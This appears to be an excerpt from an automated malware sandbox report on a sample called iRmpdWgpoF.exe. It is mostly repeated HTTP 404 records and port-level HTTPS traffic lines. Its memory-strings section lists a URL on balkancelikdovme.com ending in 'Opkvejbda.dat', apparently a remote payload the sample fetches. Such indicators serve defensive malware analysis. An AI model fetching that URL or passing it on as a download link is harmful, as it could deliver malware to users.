Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:38 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:38 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:39 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:40 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:41 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:42 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:43 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:44 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:45 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:46 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:46 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:47 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:48 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:49 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:50 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:51 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:52 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:53 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:54 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:54 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:55 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:56 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:57 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:58 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:39:59 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:00 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:01 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:02 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:03 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:03 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:04 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:05 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:06 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:07 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:08 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:09 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:10 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:10 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:11 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:12 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:13 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:14 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:15 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:16 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:17 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:18 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:18 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:19 GMTvary: User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Fri, 10 Jan 2025 21:40:20 GMTvary: User-Agent

Source: iRmpdWgpoF.exe, 00000000.00000002.3552149421.0000000002691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: iRmpdWgpoF.exe, 00000000.00000002.3554499810.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, iRmpdWgpoF.exe, 00000000.00000002.3554499810.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, iRmpdWgpoF.exe, 00000000.00000002.3552149421.0000000002691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://balkancelikdovme.com
Source: iRmpdWgpoF.exe, 00000000.00000002.3554499810.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://balkancelikdovme.com/uslasw/Opkvejbda.dat
Source: iRmpdWgpoF.exe	String found in binary or memory: https://balkancelikdovme.com/uslasw/Opkvejbda.datKUIVpispATTmL1p2t6X.hDJGqgr7DHHFMKQbI7
Source: iRmpdWgpoF.exe, 00000000.00000002.3554499810.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, iRmpdWgpoF.exe, 00000000.00000002.3554499810.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://balkancelikdovme.com/uslasw/Opkvejbda.datd
Source: iRmpdWgpoF.exe, 00000000.00000002.3552149421.0000000002691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://balkancelikdovme.com/uslasw/Opkvejbda.dattocqt5i

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50211
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
